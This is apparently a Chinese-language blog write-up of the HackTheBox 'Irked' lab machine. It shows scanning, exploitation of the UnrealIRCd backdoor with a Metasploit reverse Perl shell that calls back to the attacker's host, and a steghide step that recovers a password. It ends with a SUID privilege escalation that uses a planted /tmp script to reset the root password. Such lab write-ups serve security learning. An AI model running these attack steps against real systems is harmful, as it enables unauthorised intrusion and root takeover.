HackTheBox-Irked

Last updated on 2 years ago

信息收集

扫描目标机器开放的端口

1
2
3
4
5
masscan -p1-65535 10.10.10.117 --rate=1000 -e tun0 > ports

ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr'\n'​ ​','​ | sed 's/,$//')

nmap -Pn -A -sV -sC -p$ports 10.10.10.117

目标机上运行着http服务,使用gobuster爆了下目录,没有发现什么。

访问下web站点,似乎发现了些什么,IRC is almost working!, 在回看nmap扫描输出信息66978067端口上就运行着IRC

使用HexChat连接到目标机

nmap没探测出关于IRC更多的信息,所以使用hexchat连接目标,看看是否能找到其他信息。例如版本号之类的。

由于kali上没有 HexChat 所以先安装该工具

1
apt-get install hexchat -y

启动 Hexchat 添加新连接

连接成功,版本是Unreal 3.2.1, 搜索一下该版本有什么漏洞

搜索到以下几个漏洞

漏洞利用

1
2
3
4
5
6
use exploit/unix/irc/unreal_ircd_3281_backdoor
set payload cmd/unix/reverse_perl
set RHOST 10.10.10.117 #目标
set RPORT 6697 #目标端口
set LHOST 10.10.13.129 #kali
run

成功得到shell会话

为了方便,这里使用python弹个交互式的shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

寻找flag(user.txt)

经过查找,发现 user.txt 在另外一个用户 Documents目录下,但现在的用户无法cat user.txt。后面检查了当前用户执行过的命令,发曾经cat过和user.txt同目录下的.backup文件。当我cat该文件时,提示这个是备份密码。尝试ssh却发现密码错误无法登录。

后面在官方论坛该靶机板块下找到了些提示:Stego工具应与密码一起使用,首先找到Stego秘密吗,然后使用流行的Stego工具 (机器翻译的勉强看吧)。

按照提示,猜测应该是用类似 MP3Stego 之类的工具输入密码解密从而得到新的文件。后面在网上搜索到了kali上有个steghide的工具可以解密

安装steghide

1
apt-get install steghide

在解密前,先把web站点上的那张黄脸图片下载到本地然后使用以下命令并输入密码解密,密码为.backup里面UP的开头的字符串,然后得到个pass.txt,文件内容就是另一个用户的ssh登录密码

1
steghide extract -sf irked.jpg

提权cat roo.txt

查找可利用带有SUID的文件、命令

1
find / -perm -u=s -type f 2>/dev/null -exec ls -l {} \;

发现个可疑的viewuser命令,执行该命令报错提示找不到/tmp/listusers,嗯,这里利用在/tmp下创建一个名为listusers的sh脚本。脚本里面可以写入增加个特权用户、修改root密码或者把当前用户加入到管理员组之类的命令

这里我写入修改root密码,sh脚本命令如下:

1
2
#!/bin/bash
echo root:Aa@1234567890 | /usr/sbin/chpasswd

修改权限为777,然后执行

1
2
chmod 777 listusers
/usr/bin/viewuser`


HackTheBox-Irked
https://guosec.online/posts/ae29f7a1.html
Posted on
January 31, 2019
Updated on
July 2, 2022
Licensed under
本博客所有文章除特别声明外,均采用  协议,转载请注明出处!